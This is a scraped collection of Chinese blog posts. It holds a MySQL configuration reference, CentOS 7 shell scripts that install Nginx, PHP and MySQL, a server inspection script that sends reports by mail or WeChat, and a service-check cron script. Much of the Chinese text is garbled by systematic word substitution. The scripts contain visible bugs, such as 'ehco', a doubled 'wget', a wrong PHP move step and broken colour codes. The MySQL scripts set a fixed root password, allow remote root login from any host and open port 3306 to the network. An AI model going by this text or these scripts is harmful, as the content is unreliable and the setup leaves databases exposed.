#单次插入多记录的INSERT命令调配的缓存区长度-默认8M bulk_insert_buffer_size = 8 #寄存索引区块的RAM值-默认8M key_buffer_size = 8 #JOIN数据列无索引时,调配的缓存区长度-默认128k join_buffer_size = n #HEAP数据表的最大长-(默认设置是16M,超出HEAP数据表将被存入一个临时文件,非驻留内存 max_heap_table_size = n #服务端并发解决的连贯下限-默认100 max_connections = n #容许长期寄存在查问缓存区里的查问后果的最大长度-默认设置是1M) query_cache_limit = n #查问缓存区的最大长度-默认设置是0,不开拓查问缓存区 query_cache_size = n #查问缓存区的-工作模式 #| 0 禁用查问缓存区 #| 1 启用查问缓存区(默认设置) #| 2 "按需分配"模式,只响应SELECT SQL_CACHE命令 query_cache_type = 0/1/2 #程序读取数据的读操作保留的缓存区的长度(默认设置是128KB #可用SQL命令SET SESSION read_buffer_size = n命令加以扭转 read_buffer_size = n #相似于read_buffer_size选项,但针对的是按某种特定程序(比方应用了ORDER BY子句的查问)输入的查问后果(默认设置是256K) read_rnd_buffer_size = n #排序操作调配的缓存区的长度(默认设置是2M),若缓存过小,需创立长期缓存文件进行排序 sore_buffer = n #同时关上的数据表的数量(默认设置是64) table_cache = n #长期HEAP数据表的最大长度(默认设置是32M) #超过这个长度的长期数据表将被转换为MyISAM数据表并存入一个临时文件。 tmp_table_size = n#日志 #把所有的连贯以及所有的SQL命令记入日志(通用查问日志); #若无file参数,主动在数据库目录创立hostname.log文件 log [= file] #超过long_query_time变量值的查问命令记入日志(慢查问日志) #若无file参数,主动在数据库目录创立hostname-slow.log文件 log-slow-queries [= file] #慢查问的执行用时下限(默认设置是10s) long_query_time = n #把慢查问以及执行时没有应用索引的查问命令全都记入日志 long_queries_not_using_indexs #所有批改sql的命令已二进制写入日志 #(二进制变更日志,binary update log)。 #默认filename.n或默认的hostname.n, #其中n是一个6位数字的整数(日志文件按程序编号)。 log-bin [= filename] ##二进制日志性能的索引文件名,默认索引文件与二进制日志文件的名字雷同为.index log-bin-index = filename #二进制日志文件的最大长度(默认设置是1GB),超量会主动创立新的接续 max_binlog_size = n #记录指定数据库日志 binlog-do-db = dbname1,dbname2,..... #疏忽记录指定数据库日志 binlog-ignore-db = dbname1,dbname2..... #日志达到写入次数就写入硬盘(日志信息同步) # n = 0 默认,由操作系统来负责二进制日志文件的同步工作 # n = 1 是最平安的做法,但效率最低 sync_binlog = n #记录出错状况的日志文件名(出错日志)。hostname.err log-update [= file] #镜像(主控镜像服务器) #数据库惟一ID,范畴[1-2^32次方] server-id = n #启用二进制文件,默认filename.n [n为程序编号] log-bin = name #记录指定数据库日志 binlog-do-db = dbname1,dbname2,..... #疏忽记录指定数据库日志 binlog-ignore-db = dbname1,dbname2.....#镜像(隶属镜像服务器) #数据库惟一ID,范畴[1-2^32次方] server-id = n #启用节点数据库的日志性能,(A->B->C)镜像链#若存在mater.info文件,将疏忽以下选项 log-slave-updates #主数据库的:主机名或IP地址, master-host = hostname #node数据库连贯master数据库的用户名 master-user = replicusername #node数据库连贯master数据库的明码 master-password = passwd #node数据库连贯master数据库的TCP/IP端口(默认设置是3306端口) master-port = n #node数据库连贯master数据库失败后的等待时间,(默认设置是60s) master-connect-retry = n #主从服务器启用ssl通信配置 master-ssl-xxx = xxx #node数据库是否容许独立执行SQL(默认:0)敞开,SQL起源必须是master read-only = 0/1。 #从中继日志文件删除执行完的SQL命令(默认:0) read-log-purge = 0/1 #是否容许通配符"%"存在,(某)数据库名.(所有)数据库表 #test%.%--对名字以"test"结尾的所有数据库里的所有数据库表进行镜像解决 replicate-do-table = dbname.tablename #同步指定数据库 replicate-do-db = name #排除同步数据表 replicate-ignore-table = dbname.tablename #该设置过滤数据库表更好 replicate-wild-ignore-table = dbname.tablename #排除同步数据库 replicate-ignore-db = dbname #指定master服务器的xxx数据库同步到node服务器的xxx数据库 replicate-rewrite-db = db1name > db2name #node数据库的主机名,主服务器应用SHOW SLAVE HOSTS可生成隶属服务器的名单 report-host = hostname #主从数据库以压缩格局进行通信,如果都反对 slave-compressed-protocol = 1 #产生出错代码为n1、n2等的谬误,不论任何谬误,node数据库持续工作 #如果配置切当,隶属服务器不应该在执行 SQL命令时产生谬误(在主控服务器上执行出错的SQL命令不会被发送到隶属服务器上做镜像解决); 如果不应用slave-skip-errors选项,隶属服务器上的镜像工作就可能因为产生谬误而中断,中断后须要有人工参加能力持续进行。 slave-skip-errors = n1, n2, ...或all#InnoDB #根本设置、表空间文件 #不加载InnoDB数据表驱动程序,若不必skip-innodb可节俭内存 skip-innodb #新数据库主动创立表空间文件,默认-地方表空间,该选项始见于MySQL 4.1 innodb-file-per-table #InnoDB数据表驱动程序并发关上文件数(默认300),若应用innodb-file-per-table,定量很大 innodb-open-file = n #InnoDB主目录,个别为为mysql的数据目录 innodb_data_home_dir = p #InnoDB为数据表的表空间容量 #表空间文件的名字必须以分号隔开 #每一个表空间文件的最大长度都必须以字节(B)、兆字节(MB)或千兆字节(GB)为单位给出 #最初一个表空间文件可自定义范畴例如,ibdata1:1G; ibdata2:1G:autoextend:max:2G,表空间文件ibdata1的最大长度是1GB,ibdata2的最大长度也是1G,但容许它裁减到2GB #除文件名外,还能够用硬盘分区的设置名来定义表 空间必须给表空间的最大初始长度值加上newraw关键字做后缀,给表空间的最大裁减长度值加上raw关键字做后缀(例如/dev/hdb1: 20Gnewraw或/dev/hdb1:20Graw); MySQL 4.0及更高版本的默认设置是ibdata1:10M:autoextend。 innodb_data_file_path = ts #autoextend属性的表空间文件每次加大多少兆字节(默认设置是8MB),#该属性不波及具体的数据表文件,那些文件的增大速度绝对是比拟小的。 innodb_autoextend_increment = n #事务期待N秒依然无奈获取需要资源,则ROLLBACK放弃该事务 #这项设置对于发现和解决未能被InnoDB数据表驱动 程序辨认进去的死锁条件有着重要的意义。 #这个选项的默认设置是50s innodb_lock_wait_timeout = n #最快速度敞开InnoDB,默认1,即(不把缓存在INSERT缓存区的数据写入数据表) #数据于下次mysql启动时再写入,数据不会失落 #选项设置为0时,若零碎关机时,InnoDB 驱动程序未实现数据同步,零碎会强行敞开导致数据不残缺 innodb_fast_shutdown 0/1#InnoDB--日志 #InnoDB日志文件的目录门路,默认应用MySQL数据目录作为本人保留日志文件的地位 innodb_log_group_home_dir = p #日志文件数量(默认2),InnoDB数据表驱动程序将以轮转形式顺次填写这些文件 ##当所有的日志文件都写满当前,之后的日志信息将写入第一个日志文件的最大长度(默认设置是5MB)。 #长度单位以MB(兆字节)或GB(千兆字节)设置 innodb_log_files_in_group = n #(信息写入文件,文件写入硬盘)工作频率 # 0 间隙1s写入文件, 缩小硬盘写操作次数,但可能造成数据失落; # 1 每一条COMMIT命令实现写入文件,避免数据失落,但硬盘写操作可能会很频繁; # 2 每一条COMMIT命令实现写一次日志,再每隔一秒进行一次写入硬盘。 innodb_flush_log_at_trx_commit = 0/1/2 #InnoDB日志文件的同步方法 [fdatasync/O_DSYNC]仅实用于UNIX/Linux零碎 innodb_flush_method = x #启用InnoDB驱动程序的archive(档案)日志性能,把日志信息写入ib_arch_log_n文件 #InnoDB与 MySQL一起应用时没有多大意义,启用MySQL服务器的二进制日志性能就足够用了 innodb_log_archive = 1#InnoDB--缓存区的设置和优化 #数据表及其索引而保留的RAM内存量(默认设置是8MB) ###该参数很影响速度,若只运行有 MySQL/InnoDB数据库服务器,应设置全副内存的80% innodb_log_buffer_pool_size = n #事务日志文件写操作缓存区的最大长度(默认设置是1MB) innodb_log_buffer_size = n #外部治理的各种数据结构调配的缓存区最大长度(默认设置是1MB) innodb_additional_men_pool_size = n #I/O操作(硬盘写操作)的最大线程个数(默认设置是4) innodb_file_io_threads = n #并发最大线程个数(默认设置是8) innodb_thread_concurrency = n#其它选项 #MySQL服务器的IP地址,若有多个IP,该选项很重要 bind-address = ipaddr #新数据表的默认类型(默认MyISAM) default-storage-engine = type #天文时区,(若与本机不同,即可设置) default-timezone = name #全文索引的最小单词长度(默认为4),创立全文索引时不思考那些由3个或更少的字符构建单词 ft_min_word_len = n #c/s之间替换数据包的最大长度,至多大于客户程序将要解决的最大BLOB块的长度,默认1MB Max-allowed-packet = n #以哪种SQL模式下运行 #这个选项的作用是让MySQL与其余的数据库系统放弃最大水平的兼容 #这个选项的可取值包含ansi、db2、 oracle、no_zero_date、pipes_as_concat。 Sql-mode = model1, mode2, ...

February 17, 2022 · 3 min · jiezi

关于shell:Centos7一键编译安装LNMP脚本

#!/bin/bash#具体版本号NGINX_V=1.20.0PHP_V=7.4.2MYSQL_V=5.7.37TMP_DIR=/tmp INSTALL_DIR=/usr/localfunction install_nginx() {#下载依赖 yum -y install gcc gcc-c++ automake pcre pcre-devel zlib zlib-devel openssl openssl-devel #装置配置 #下载Nginx cd ${TMP_DIR} yum install -y wget && wget -c wget http://nginx.org/download/nginx-${NGINX_V}.tar.gz #解压源码 tar -zxvf ${TMP_DIR}/nginx-${NGINX_V}.tar.gz mv nginx-${NGINX_V} nginx;cd nginx; #预编译配置 ./configure --prefix=/usr/local/nginx --with-http_ssl_module --with-http_stub_status_module sleep 2s #编译装置 make && make install #以服务启动 cd /usr/lib/systemd/system; cat > nginx.service <<EOF[Unit]Description=nginx - high performance web serverDocumentation=http://nginx.org/en/docs/After=network.target remote-fs.target nss-lookup.target [Service]Type=forkingPIDFile=/usr/local/nginx/logs/nginx.pidExecStartPre=/usr/local/nginx/sbin/nginx -t -c /usr/local/nginx/conf/nginx.confExecStart=/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.confExecReload=/bin/kill -s HUP $MAINPIDExecStop=/bin/kill -s QUIT $MAINPIDPrivateTmp=true [Install]WantedBy=multi-user.targetEOFsystemctl restart firewalld;firewall-cmd --reload;systemctl start nginx;systemctl enable nginx;systemctl status nginx.service;}function install_php() { cd $TMP_DIR yum -y install gcc gcc-c++ make zlib zlib-devel pcre pcre-devel libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel libxml2 libxml2-devel glibc glibc-devel glib2 glib2-devel bzip2 bzip2-devel ncurses ncurses-devel curl curl-devel e2fsprogs e2fsprogs-devel krb5 krb5-devel openssl openssl-devel openldap openldap-devel nss_ldap openldap-clients openldap-servers wget -c http://mirrors.sohu.com/php/php-${PHP_V}.tar.bz2 && tar -jxvf php-${PHP_V}.tar.bz2 && cd php-${PHP_V} && mv php-${PHP_V} $INSTALL_DIR/php cd $INSTALL_DIR/php; ./configure --prefix=$INSTALL_DIR/php --with-config-file-path=$INSTALL_DIR/php/etc sleep 1s; if [ $? -eq 0 ];then make ZEND_EXTRA_LIBS="-liconv" &&make install echo -e " 33[32m PHP服务装置胜利! 33[0m" else echo -e " 33[32m PHP服务装置失败,请检测配置文件! 33[0m" exit fi}function install_mysql(){ MYSQL_BASE=/usr/local/mysql cd $TMP_DIR file="mysql-5.7.37-linux-glibc2.12-x86_64.tar.gz" if [ ! -f $file ]; then echo "File not found!" yum install -y wget && wget -c wget https://cdn.mysql.com//Downloads/MySQL-5.7/mysql-5.7.37-linux-glibc2.12-x86_64.tar.gz; echo "下载实现,正在解压......."; tar -zxvf mysql-5.7.37-linux-glibc2.12-x86_64.tar.gz mv mysql-5.7.37-linux-glibc2.12-x86_64 /usr/local/mysql cd /usr/local/mysql #exit 0 fi echo "创立用户组" userdel mysql; groupadd mysql; useradd -r -g mysql mysql; mkdir -p /data/mysql; chown mysql:mysql -R /data/mysql;cd /etcecho "写入配置文件"cat > my.cnf <<EOF[mysqld]bind-address=0.0.0.0 #绑定地址运行近程连贯port=3306 #Mysql凋谢的端口user=mysql #数据库登录用户basedir=/usr/local/mysql #Mysql装置的绝对路径datadir=/data/mysql #Mysql数据寄存的绝对路径socket=/tmp/mysql.sock #套接字文件log-error=/data/mysql/mysql.err #mysql生成的谬误日志寄存的门路pid-file=/data/mysql/mysql.pid #为mysqld程序指定一个寄存过程ID的文件character_set_server=utf8mb4 #数据库字符编码symbolic-links=0 #是否开启链接符号explicit_defaults_for_timestamp=true #数据库timestamp类型的列自动更新EOFecho "初始化Mysql"cd /usr/local/mysql/bin/./mysqld --defaults-file=/etc/my.cnf --basedir=/usr/local/mysql/ --datadir=/data/mysql/ --user=mysql --initializesleep 2sehco "启动mysql"cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysqlservice mysql startservice mysql statusln -s /usr/local/mysql/bin/mysql /usr/binecho "获取mysql初始密码"PASSWORD=`cat /data/mysql/mysql.err |grep "temporary password"|awk -F"root@localhost: " '{print $2}'`echo "批改mysql明码"$MYSQL_BASE/bin/mysql --socket=/tmp/mysql.sock --connect-expired-password -uroot -p${PASSWORD} -e "ALTER USER 'root'@'localhost' IDENTIFIED BY 'root@.com';"$MYSQL_BASE/bin/mysql --socket=/tmp/mysql.sock -uroot -proot@.com -e "FLUSH PRIVILEGES;"$MYSQL_BASE/bin/mysql --socket=/tmp/mysql.sock -uroot -proot@.com -e "USE mysql;"$MYSQL_BASE/bin/mysql --socket=/tmp/mysql.sock -uroot -proot@.com -e "UPDATE user SET host = '%' WHERE user = 'root';"$MYSQL_BASE/bin/mysql --socket=/tmp/mysql.sock -uroot -proot@.com -e "FLUSH PRIVILEGES;"$MYSQL_BASE/bin/mysql --socket=/tmp/mysql.sock -uroot -proot@.com -e "exit;"echo "重启数据库"service mysql restart;service mysql status;echo "以服务项启动"cp /usr/local/mysql/support-files/mysql.server /etc/rc.d/init.d/mysqld;chmod +x /etc/init.d/mysqld;chkconfig --add mysqld;chkconfig --list;firewall-cmd --zone=public --add-port=3306/tcp --permanent;firewall-cmd --reload;firewall-cmd --list-all;}function install_info(){ echo "=========> Nginx信息 <=========" echo " Nginx : $NGINX_V " echo " 装置目录: /usr/local/ " echo "=========> MYSQL信息 <=========" echo " 数据库版本 : 5.7.37 " echo " 数据库明码 : root@.com " echo " 数据库端口 : 3306 " echo " BASEDIR目录: /usr/local/mysql " echo " DATADIR目录: /data/mysql " echo "==========> PHP信息 <==========" echo " PHP版本 : $PHP_V " echo " 装置目录 : /usr/local/ "}function main(){ install_nginx install_mysql install_php install_info}main

February 15, 2022 · 2 min · jiezi

关于shell:Centos7一键编译安装PHP脚本

#!/bin/bash#具体版本号PHP_V=7.4.2TMP_DIR=/tmpINSTALL_DIR=/usr/localfunction install_php() { cd $TMP_DIR yum -y install gcc gcc-c++ make zlib zlib-devel pcre pcre-devel libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel libxml2 libxml2-devel glibc glibc-devel glib2 glib2-devel bzip2 bzip2-devel ncurses ncurses-devel curl curl-devel e2fsprogs e2fsprogs-devel krb5 krb5-devel openssl openssl-devel openldap openldap-devel nss_ldap openldap-clients openldap-servers wget -c http://mirrors.sohu.com/php/php-${PHP_V}.tar.bz2 && tar -jxvf php-${PHP_V}.tar.bz2 && cd php-${PHP_V} && mv php-${PHP_V} $INSTALL_DIR/php cd $INSTALL_DIR/php; ./configure --prefix=$INSTALL_DIR/php --with-config-file-path=$INSTALL_DIR/php/etc sleep 1s; if [ $? -eq 0 ];then make ZEND_EXTRA_LIBS="-liconv" &&make install echo -e " 33[32m PHP服务装置胜利! 33[0m" else echo -e " 33[32m PHP服务装置失败,请检测配置文件! 33[0m" exit fi}install_php

February 15, 2022 · 1 min · jiezi

关于shell:Centos7一键编译安装Nginx脚本

#!/bin/bash#Nginx版本NGINX_V=1.20.0#Nginx下载目录TMP_DIR=/tmp #Nginx装置目录INSTALL_DIR=/usr/localfunction install_nginx() {#下载依赖yum -y install gcc gcc-c++ automake pcre pcre-devel zlib zlib-devel openssl openssl-devel#下载Nginxcd ${TMP_DIR}yum install -y wget && wget -c wget http://nginx.org/download/nginx-${NGINX_V}.tar.gz#解压源码tar -zxvf ${TMP_DIR}/nginx-${NGINX_V}.tar.gzmv nginx-${NGINX_V} nginx;cd nginx;#预编译配置./configure --prefix=/usr/local/nginx --with-http_ssl_module --with-http_stub_status_modulesleep 2s#编译装置make && make install#以服务启动cd /usr/lib/systemd/system;cat > nginx.service <<EOF[Unit]Description=nginx - high performance web serverDocumentation=http://nginx.org/en/docs/After=network.target remote-fs.target nss-lookup.target [Service]Type=forkingPIDFile=/usr/local/nginx/logs/nginx.pidExecStartPre=/usr/local/nginx/sbin/nginx -t -c /usr/local/nginx/conf/nginx.confExecStart=/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.confExecReload=/bin/kill -s HUP $MAINPIDExecStop=/bin/kill -s QUIT $MAINPIDPrivateTmp=true [Install]WantedBy=multi-user.targetEOFsystemctl restart firewalld;firewall-cmd --reload;systemctl start nginx;systemctl enable nginx;systemctl status nginx.service;}

February 15, 2022 · 1 min · jiezi

关于shell:Centos7一键编译搭建Mysql脚本

function install_mysql(){ MYSQL_BASE=/usr/local/mysql cd $TMP_DIR file="mysql-5.7.37-linux-glibc2.12-x86_64.tar.gz" if [ ! -f $file ]; then echo "File not found!" yum install -y wget && wget -c wget https://cdn.mysql.com//Downloads/MySQL-5.7/mysql-5.7.37-linux-glibc2.12-x86_64.tar.gz; echo "下载实现,正在解压......."; tar -zxvf mysql-5.7.37-linux-glibc2.12-x86_64.tar.gz mv mysql-5.7.37-linux-glibc2.12-x86_64 /usr/local/mysql cd /usr/local/mysql #exit 0 fi echo "创立用户组" userdel mysql; groupadd mysql; useradd -r -g mysql mysql; mkdir -p /data/mysql; chown mysql:mysql -R /data/mysql;cd /etcecho "写入配置文件"cat > my.cnf <<EOF[mysqld]bind-address=0.0.0.0 #绑定地址运行近程连贯port=3306 #Mysql凋谢的端口user=mysql #数据库登录用户basedir=/usr/local/mysql #Mysql装置的绝对路径datadir=/data/mysql #Mysql数据寄存的绝对路径socket=/tmp/mysql.sock #套接字文件log-error=/data/mysql/mysql.err #mysql生成的谬误日志寄存的门路pid-file=/data/mysql/mysql.pid #为mysqld程序指定一个寄存过程ID的文件character_set_server=utf8mb4 #数据库字符编码symbolic-links=0 #是否开启链接符号explicit_defaults_for_timestamp=true #数据库timestamp类型的列自动更新EOFecho "初始化Mysql"cd /usr/local/mysql/bin/./mysqld --defaults-file=/etc/my.cnf --basedir=/usr/local/mysql/ --datadir=/data/mysql/ --user=mysql --initializesleep 2sehco "启动mysql"cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysqlservice mysql startservice mysql statusln -s /usr/local/mysql/bin/mysql /usr/binecho "获取mysql初始密码"PASSWORD=`cat /data/mysql/mysql.err |grep "temporary password"|awk -F"root@localhost: " '{print $2}'`echo "批改mysql明码"$MYSQL_BASE/bin/mysql --socket=/tmp/mysql.sock --connect-expired-password -uroot -p${PASSWORD} -e "ALTER USER 'root'@'localhost' IDENTIFIED BY 'root@.com';"$MYSQL_BASE/bin/mysql --socket=/tmp/mysql.sock -uroot -proot@.com -e "FLUSH PRIVILEGES;"$MYSQL_BASE/bin/mysql --socket=/tmp/mysql.sock -uroot -proot@.com -e "USE mysql;"$MYSQL_BASE/bin/mysql --socket=/tmp/mysql.sock -uroot -proot@.com -e "UPDATE user SET host = '%' WHERE user = 'root';"$MYSQL_BASE/bin/mysql --socket=/tmp/mysql.sock -uroot -proot@.com -e "FLUSH PRIVILEGES;"$MYSQL_BASE/bin/mysql --socket=/tmp/mysql.sock -uroot -proot@.com -e "exit;"echo "重启数据库"service mysql restart;service mysql status;echo "以服务项启动"cp /usr/local/mysql/support-files/mysql.server /etc/rc.d/init.d/mysqld;chmod +x /etc/init.d/mysqld;chkconfig --add mysqld;chkconfig --list;firewall-cmd --zone=public --add-port=3306/tcp --permanent;firewall-cmd --reload;firewall-cmd --list-all;echo "=========> MYSQL信息 <========="echo " 数据库版本 : 5.7.37 "echo " 数据库明码 : root@.com "echo " 数据库端口 : 3306 "echo " BASEDIR目录: /usr/local/mysql "echo " DATADIR目录: /data/mysql "}install_mysql

February 15, 2022 · 1 min · jiezi

关于shell:Linux实时流量监控

#!/bin/bash#ens33为本机网卡名称eth0=ens33echo -e "流量进入--流量传出 "while true; do old_in=$(cat /proc/net/dev |grep $eth0 |awk '{print $2}') old_out=$(cat /proc/net/dev |grep $eth0 |awk '{print $10}') sleep 1 new_in=$(cat /proc/net/dev |grep $eth0 |awk '{print $2}') new_out=$(cat /proc/net/dev |grep $eth0 |awk '{print $10}') in=$(printf "%.1f%s" "$((($new_in-$old_in)/1024))" "KB/s") out=$(printf "%.1f%s" "$((($new_out-$old_out)/1024))" "KB/s") echo "$in $out"done

February 14, 2022 · 1 min · jiezi

关于shell:给-zsh-自定义命令添加参数自动补全

有时我会自定义一些 zsh 命令,以便晋升某些高频操作的效率。本文记录我给一个自定义命令增加参数主动补全的办法。 场景我自定义了一个 zsh 命令 gmt,执行 gmt <b2>,能够将以后所在的 git 分支 merge 到 <b2> 这个分支。 它具体实现以下工作: 切换到 git 分支 <b2>;将 <b2> 分支更新到最新;询问是否合并,输出 y 则进行分支合并。也就是用一条命令实现一个 git checkout b2、git pull origin b2、git merge b1 这样的组合操作。 用了一段时间,能够省一些事,美中不足的就是有时候分支名称比拟长,只能手动输出,没有主动补全。 冀望成果输出 gmt ,而后按 tab,主动提醒本地的所有 git 分支名称;输出 gmt fe,而后按 tab,主动补全以 fe 结尾的 git 分支名称;实现办法在 zsh 配置文件中增加如下代码: compdef _git_merge_to_comp git_merge_to_git_merge_to_comp(){ local -a git_branches git_branches=("${(@f)$(git branch --format='%(refname:short)')}") _describe 'command' git_branches}注:git_merge_to 是一个自定义的函数,gmt 是这个函数的 alias。 这段代码的意思就是应用 _git_merge_to_comp 这个函数来给 git_merge_to 命令做主动补全,主动补全的候选列表是以后我的项目的所有本地 git 分支名称。 ...

February 12, 2022 · 1 min · jiezi

关于shell:系统巡检

#!/bin/bash#获取主机信息function sys_info(){ #主机名 HOST=`hostname` #以后零碎工夫 DATE=`date "+%Y/%m/%d-%H:%M:%S"` #零碎IP #零碎本地IP IP_ON=`ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"` #零碎外网IP IP_IN=`curl whatismyip.akamai.com` #内存信息 #物理内存 #内存总量 MEM_TOTAL=`free -m | grep Mem | awk '{print $2}'` #已应用内存 MEM_USED=`free -m | grep Mem | awk '{print $3}'` #残余内存 MEN_FREE=`free -m | grep Mem | awk '{print $4}'` MEN_BUFF_CACHE=`free -m | grep Mem | awk '{print $6}'` MEN_REALFREE=$[$MEN_FREE+$MEN_BUFF_CACHE] #Swap内存 #Swap总量 Swap_TOTAL=`free -m | grep Swap | awk '{print $2}'` #已应用内存 Swap_USED=`free -m | grep Swap | awk '{print $3}'` #残余内存 Swap_FREE=`free -m | grep Swap | awk '{print $4}'` #磁盘信息 #硬盘挂载设施(/dev/vda1) DISK_MOUNTING=`df -Ph |grep /dev/vda1|awk '{print $1}'` #硬盘总容量 DISK_TOTAL=`df -Ph |grep /dev/vda1|awk '{print $2}'` #硬盘已应用 DISK_USED=`df -Ph |grep /dev/vda1|awk '{print $3}'` #硬盘残余空间 DISK_FREE=`df -Ph |grep /dev/vda1|awk '{print $4}'` #硬盘使用率 DISK_PERCENTAGE=`df -Ph |grep /dev/vda1|awk '{print $5}'` #硬盘挂载目录 DISK_HOME=`df -Ph |grep /dev/vda1|awk '{print $6}'` #CPU信息 #脚本性能形容:根据/proc/stat文件获取并计算CPU使用率 #CPU工夫计算公式:CPU_TIME=user+system+nice+idle+iowait+irq+softirq #CPU使用率计算公式:cpu_usage=(idle2-idle1)/(cpu2-cpu1)*100 #默认工夫距离 TIME_INTERVAL=5 time=$(date "+%Y-%m-%d %H:%M:%S") LAST_CPU_INFO=$(cat /proc/stat | grep -w cpu | awk '{print $2,$3,$4,$5,$6,$7,$8}') LAST_SYS_IDLE=$(echo $LAST_CPU_INFO | awk '{print $4}') LAST_TOTAL_CPU_T=$(echo $LAST_CPU_INFO | awk '{print $1+$2+$3+$4+$5+$6+$7}') sleep ${TIME_INTERVAL} NEXT_CPU_INFO=$(cat /proc/stat | grep -w cpu | awk '{print $2,$3,$4,$5,$6,$7,$8}') NEXT_SYS_IDLE=$(echo $NEXT_CPU_INFO | awk '{print $4}') NEXT_TOTAL_CPU_T=$(echo $NEXT_CPU_INFO | awk '{print $1+$2+$3+$4+$5+$6+$7}') #零碎闲暇工夫 SYSTEM_IDLE=`echo ${NEXT_SYS_IDLE} ${LAST_SYS_IDLE} | awk '{print $1-$2}'` #CPU总工夫 TOTAL_TIME=`echo ${NEXT_TOTAL_CPU_T} ${LAST_TOTAL_CPU_T} | awk '{print $1-$2}'` #CPU使用率 CPU_USAGE=`echo ${SYSTEM_IDLE} ${TOTAL_TIME} | awk '{printf "%.2f", 100-$1/$2*100}'`}#邮件告警function sys_mail(){ #发送告警 #定义变量 sys_msg="----------------零碎巡逻----------------" sys_hostname="\n\t主机名\t=\t${HOST}" #sys_info="\n 零碎信息 \t=\t${SYS}" sys_time="\n\t零碎工夫 \t=\t${DATE}" sys_ip="\n\t本地IP:\t${IP_ON}\t\n\t外网IP:${IP_IN}" sys_msg2="\n----------------CPU信息----------------" sys_cpu="\n\tCPU使用率\t=\t${CPU_USAGE}%" sys_mem="\n----------------内存信息----------------\n物理内存总量:${MEM_TOTAL}MB\n\t 已用:${MEM_USED}MB\n\t 残余:${MEN_REALFREE}MB\n\tSwap内存总量:${Swap_TOTAL}MB\n\t 已用:${Swap_USED}MB\n\t 残余:${Swap_FREE}MB" sys_disk="\n----------------硬盘信息----------------\n硬盘挂载:${DISK_MOUNTING}\n\t总容量:${DISK_TOTAL}\n\t已用:${DISK_USED}\n\t残余:${DISK_FREE}\n\t利用率:${DISK_PERCENTAGE}\n\t挂载目录:${DISK_HOME}" sys_hang="\n-------------------end--------------------" #拼接变量 echo -e "$sys_msg $sys_hostname $sys_time $sys_ip $sys_msg2 $sys_cpu $sys_mem $sys_disk $sys_hang" | mail -s "零碎巡检" xxxxxxx@qq.com}#微信告警function sys_wechat(){ # 微信接口 CropID='xxxxxxx' Secret='xxxxxxx' GURL="https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=$CropID&corpsecret=$Secret" Gtoken=$(/usr/bin/curl -s -G $GURL | awk -F\" '{print $10}') PURL="https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=$Gtoken" To_User="xxxxxxx" To_Party="1" Agent_ID="1000002" /usr/bin/curl --data-ascii '{ "touser": "'${To_User}'", "toparty": "'${To_Party}'", "msgtype": "text", "agentid": "'${Agent_ID}'", "text": { "content": "'---------------日常巡检---------------''获取工夫:${DATE}''主机名称:${HOST}''近程地址:${IP_IN}''内网地址:${IP_ON}''---------------内存状况---------------''物理内存容量:${MEM_TOTAL}MB''已用:${MEM_USED}MB''残余:${MEN_REALFREE}MB''Swap内存容量:${Swap_TOTAL}MB''已用:${Swap_USED}MB''残余:${Swap_FREE}MB''---------------硬盘信息---------------''硬盘挂载:${DISK_MOUNTING}''总容量:${DISK_TOTAL}''已用:${DISK_USED}''残余:${DISK_FREE}''利用率:${DISK_PERCENTAGE}''挂载目录:${DISK_HOME}''---------------CPU信息---------------''CPU利用率:${CPU_USAGE} %''-----------------END------------------'"},"safe":"0"}' $PURL}sys_infosys_mailsys_wechat ...

February 9, 2022 · 2 min · jiezi

关于shell:服务巡检

邮件发送配置#装置邮件服务yum install -y mailx sendmail#批改接口vim /etc/postfix/main.cfinet_interfaces = all#编辑邮件信息vim /etc/mail.rc#配置文件末端增加# 这里填入smtp地址set smtp=smtps://smtp.qq.com:465# 认证形式set smtp-auth=login# 这里输出邮箱账号set smtp-auth-user=xxxxxxxxxx@qq.com# 这里填入明码set smtp-auth-password=邮箱受权码# 疏忽证书正告set ssl-verify=ignore# 证书所在目录set nss-config-dir=/etc/pki/nssdb# 设置发信人邮箱和昵称set from=xxxxxxxxxx@qq.com# STARTTLS时应用#set smtp-use-starttls=yes服务列表文本 testlistnginxmysql服务检测脚本 services_check.sh#!/bin/bash#主机名name=`hostname`#日期date=`date '+%Y-%m-%d-%H:%M:%S'`#外网ipip_in=`curl whatismyip.akamai.com`ip_on=`ip a show |grep ens|grep inet |awk '{print $2}'|awk -F '/' '{print $1}'`cat /data/safety/sys_services/testlist | while read servicedostat=`systemctl status $service |grep Active|awk '{print $3}' |cut -c 2-8`#判断服务状态if [ $stat != running ];then # 邮件发送echo -e "故障日期:$date \n\t 主机名称:$name \n\t IP地址:$ip_in \n\t 服务状态:$service $stat" | mail -s "服务重大故障" xxxxxxx@qq.comdone定时检测 crontab#每半小时检测*/30 * * * * /data/safety/sys_services/services_check.sh

February 9, 2022 · 1 min · jiezi

关于shell:linux-find指令用法-查找文件利器

话不多说,先上语法 find ./ -name *filename*filename 为文件名,之所以加上*号是为了含糊查问,能够取文件名中的关键词查找。比方咱们要找the_secret_file.txt, 就能够用 find -name *secret* ./ 来搜寻./ 是指在以后门路下找,也能够指定其余任意门路。find指令会找这个门路和这个门路下所有文件夹里的文件

January 17, 2022 · 1 min · jiezi

关于shell:完蛋我的事务怎么不生效

